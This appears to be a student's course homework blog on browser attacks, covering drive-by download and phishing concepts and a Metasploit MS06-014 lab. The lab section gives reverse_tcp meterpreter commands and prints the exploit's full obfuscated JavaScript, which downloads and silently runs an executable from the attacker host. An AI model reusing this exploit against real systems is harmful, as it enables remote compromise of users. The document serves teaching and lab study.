20199120 2019-2020-2 《网络攻防实践》第12周作业
前言
| 作业 | 答案 |
|---|---|
| 这个作业属于哪个课程 | 网络攻防实践 |
| 这个作业的要求在哪里 | 第十二次作业 浏览器安全攻防 |
| 我在这个课程的目标是 | 学习、提高网络攻防的本领 |
1.本章知识点总结
1.1 Web浏览器的技术发展与安全威胁
1.1.1 Web应用体系结构
-
Web浏览器是目前互联网用户最常用的客户端软件，可以帮助用户浏览Web服务器上的文件，并让用户与这些文件进行交互，在Web浏览器的帮助下，互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容，以及访问各种形式与用途的Web应用程序。
-
现代Web浏览器的基本结构：需要支持各种应用层协议的Stream流接收与解析，并维护DOM对象模型结构，通过支持EMCScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境，以及支持CSS标准页面的布局，最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染，展现给终端用户。
1.1.2 Web浏览的安全问题与威胁
- Web浏览器软件的安全困境三要素：复杂性、可扩展性、连通性
- Web浏览安全威胁位置：
- 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
- 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
- 针对Web浏览器软件及插件程序的滲透攻击威胁:随着防火墙、网络入侵防御系统等安全设备在网络边界上的部署,传统的针对服务器端的渗透攻击变得愈加困难,在这背景下,针对Web浏览器软件及插件程序的客户端渗透攻击在近几年来逐渐变得流行。
- 针对互联网用户的社会工程学攻击威胁：恶意攻击会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点，实施社会工程学攻击。
1.2 web浏览端的渗透攻击威胁——网页木马
-
通过对网页木马起源背景和存在技术基础的分析,我们可以认知到网页木马从本质特性上是利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。因此从根本上分析,网页木马是针对Web浏览端软件实施的客户端滲透攻击代码,是对在针对服务器端软件的传统滲透攻击代码基础上的一种演进,针对服务器端软件的滲透攻击形式从网络攻击出现以来一直是主流。
-
由于网页木马采用的是客户端渗透攻击的形式,就不可避免地需要Web浏览端软某访问构造的恶意Web页面内容,才可能触发滲透攻击过程。因此,与传统服务器端滲透攻击可以主动地进行网络扫描与攻击不同,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,为了进行进一步的主机控制和敏感信息窃取,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击不像传统服务器端滲透攻击那么简单,往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源。
-
网页挂马机制
- 内嵌HTML标签：第一类策略使用内嵌HTML标签，如iframe、frame等，将网页木马链接嵌入到网站首页或其他页面中；
- 恶意Script脚本：利用script脚本标签通过外部引用脚本的方式来包含网页木马；
- 内嵌对象链接：第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载，这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件，通过向一些允许用户上传图片和Flash文件的网站进行上传，从而造成这些网站特定页面被挂马危害的后果。
- ARP欺骗挂马：arp漆面挂马不需要真正地攻陷目标网站，在同一以太网网段内，攻击者通过ARP欺骗方法就可以进行中间人攻击，劫持所有目标网站出入的网络流量，并可在目标网站的HTML反馈包中注入任意的恶意脚本，从而使其成为将网络访问流量链接至网页木马的挂马站点。
-
混淆机制
- 将代码重新排版，去除缩进、空行、换行、注释等；
- 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆；
- 通过通用或定制的加密工具对网页木马进行加密得到密文，然后使用脚本语言中包含的解密函数进行解密，再使用document.Write()或eval()进行动态输出或执行；
- 利用字符串运算、数学运算或特殊函数混淆代码；
- 修改网页木马文件掩码欺骗反病毒软件，或对网页木马文件结构进行混淆，来伪装正常文件。
-
网页木马防范措施
- 采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制
- 安装反病毒软件，同时养成安全上网浏览的好习惯，借助站点安全评估工具的帮助
- 安装Mac OS/Linux操作系统，并使用冷门浏览器上网
1.3 解开网络钓鱼的黑幕
网络钓鱼攻击的技术内幕
蜜网技术使得我们可以捕获这样一次典型网络钓鱼攻击整个生命周期中的详细数据，从中可以分析得出网络钓鱼攻击的普遍技术流程：
- 攻击者扫描网段，寻找存有漏洞的服务器
- 服务器被攻陷，并被安装一个Rootkit或口令保护的后门工具
- 攻击者从加密的后门工具获得对服务器的访问权，并下载已经构建完毕的钓鱼网站内容，进行一些网站搭建配置与测试工作，使得钓鱼网站上线运行
- 攻击者下载群发电子邮件工具，并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
- 网页浏览的流量开始到达钓鱼网站，潜在的受害者开始访问假冒的钓鱼网页内容，并受欺骗给出个人敏感信息，攻击者通过服务器后台脚本收集这些个人敏感信息。
网络钓鱼攻击的防范
- 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈，应该提高警惕性，对于以中奖、优惠、紧急状态等各种名义索取个人敏感信息的邮件一定要持怀疑态度，在未经认真核准的情况下，不要轻易相信并打来邮件中的链接。
- 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性，如浏览器中对HTTPS安全登录链接的提示，地址栏中对访问网站域名的标黑高亮提示、对钓鱼网站的警告提示与举报功能。但同时又不能完全依赖于这些浏览器与网络安全软件的安全提示，对于进行关键的在线金融操作时，还需要靠个人的安全意识来辨别可能面对的新的钓鱼网站。
- 在登录网上银行、证券基金等关键网站进行在线金融操作时，务必要重视访问网站的真实性，不要点击邮件中的链接来访问这些网站，最好以直接访问域名方式来访问，尽量使用硬件U盾来代替软证书或口令访问重要的金融网站。对网上银行异常动态提高警惕，如不小心在陌生的网址上输入了账户和密码，并遇到类似“系统维护”之类提示时，应立即拨打有关客服热线进行确认，万一资料被盗，应立即修改相关交易密码或进行银行卡、证券交易卡挂失。
- 通过学习和修炼提升自己抵抗社会工程学攻击的能力，从而在目前流行的撒网式钓鱼攻击中立于不败之地，因为撒网式钓鱼攻击不会采用复杂度很高的欺骗技巧，我们每个人都存在社会工程学攻击漏洞，只要比绝大多数人更懂得一些欺骗攻击技巧和相应的防范措施，并在实际过程中加以关注，就很难被撒网式钓鱼攻击所危害
2.实践过程
2.1 动手实践——web浏览器渗透攻击实验
实验环境：
攻击机：Kali IP：192.168.0.141
靶机：Win2kServer IP：192.168.0.134
步骤
-
输入指令
search msfconsole搜索MS06-014选择module 0 -
设置靶机和攻击机地址，输入
set rhost 192.168.0.134和set lhost 192.168.0.141 -
设置payload，输入
set payload windows/meterpreter/reverse_tcp并且执行
- 过靶机的浏览器访问
http://192.168.0.141:8080/es4odrh57fhi建立起了一个会话，攻击成功。
-
用sessions查看目前的连接，使用命令
sessions -i 1选择会话1，返回meterpreter，此时攻击机便可以在靶机上执行命令。 -
使用ifconfig查看靶机IP。
2.3 Web浏览器渗透攻击对抗实验
- 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码，并进行混淆处理之后组装成一个URL，通过具有欺骗性的电子邮件发送给防守方。
- 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态，并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
步骤
- 用实践一之前做过的ms06-014漏洞，在kali中查看源代码
- 将代码整理一下
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=GB2312">
<title></title>
<script language="javascript">
function
CtzoijGBqVnRPoW(o , n)
{
var r =null;
try
{
eval("r=o"+".C"+"re"+"ate"+"Ob" +"je"+"ct(n)"
)
}catch(e){}
if(!r)
{
try
{ eval("r=o"+".Cr"+"ea" +"teO"+"bj"+"ect(n,'')")
}catch(e){}
}
if(!r)
{
try{
eval("r=o" +".Cr"+"ea"+ "teO"+"bj"+"ect(n,'','')" )
}
catch(e){}
}
if(!r)
{
try{
eval("r=o" +".Ge"+"tOb"+"je"+"ct('',n)"）
}catch(e){}
}
if(!r)
{
try{
eval("r=o" +".Ge"+"tOb"+"je"+"ct('',n)"）
}catch(e){}
}
if(!r)
{
try{
eval("r=o" +".Ge"+"tOb"+"ject(n)" )
}catch(e){}
}
return(r);
}
function
CkziPkDEVvzcUK(a)
{
var s=CtzoijGBqVnRPoW(a,"W" +"Sc"+"ri" +"pt"+".S"+"he"+"ll");
var o=CtzoijGBqVnRPoW(a,"A" +"DO"+"D"+"B.S"+"tr"+"eam");
var e=s.Environment("P"+"ro"+"ce" +"ss" );
var url =document.location +'/p'+'ay'+'lo'+'ad';
var xml = null;
var bin =e.Item("T" + "E"+"M" + "P")+"\\ImwANalAkthBgmjqzI"+ ".e"+"xe";
var dat;
try
{
xml=new XMLHttpRequest();
}
catch(e)
{
try
{
xml=new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml)
{
return(0);
}
xml.open("GET", url,false);
xml.send(null);
dat =xml.responseBody;
o.Type= 1 ;
o.Mode= 3 ;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function
SmerREcbuXkUCwZbRyMEEfsRDDQRTeK()
{
var i=0;
var t=new Array( '{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}','{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'<h+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}' ,null);
while(t[i])
{
var a=null;
if(t[i].substring(0,1)=='{')
{
a=document.createElement("object");
a.setAttribute("cl"+ "as"+"sid","cl"+"s"+"id" +":"+ t[i].substring(1,t[i].length-1 ));
}
else
{
try {
a=new ActiveXObject(t[i]);
}
catch(e){}
}
if (a)
{
try {
var b=CtzoijGBqVnRPoW(a ,"W"+"Sc"+ "ri"+"pt"+ ".S" +"he" + "ll" );
if(b)
{
CkziPkDEVvzcUK(a);
return(0);
}
}
catch(e){}
}
i++;
}
}
</script>
</head>
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kHNbbdThGhM
<div style="position: absolute; display: none; z-index: 9999;" id="livemargins_control">
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</div>
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- 研究js代码发现一个数组，数组内容为
' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36 } ', ' { BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30 } '，搜索BD96C556，容易知道攻击者使用的漏洞是MS06-014
3.实践总结
第一个实验很顺利，实验二、实验三、实验四没有思路，卡住了。实验三和实验四参考同学的操作“照着葫芦画葫芦”，做下来了。剩下的等下午上完课或者再问一下同学补上，这门课程快结束了，课程需要很多知识，自己学习的不够好，需要总结的太多了。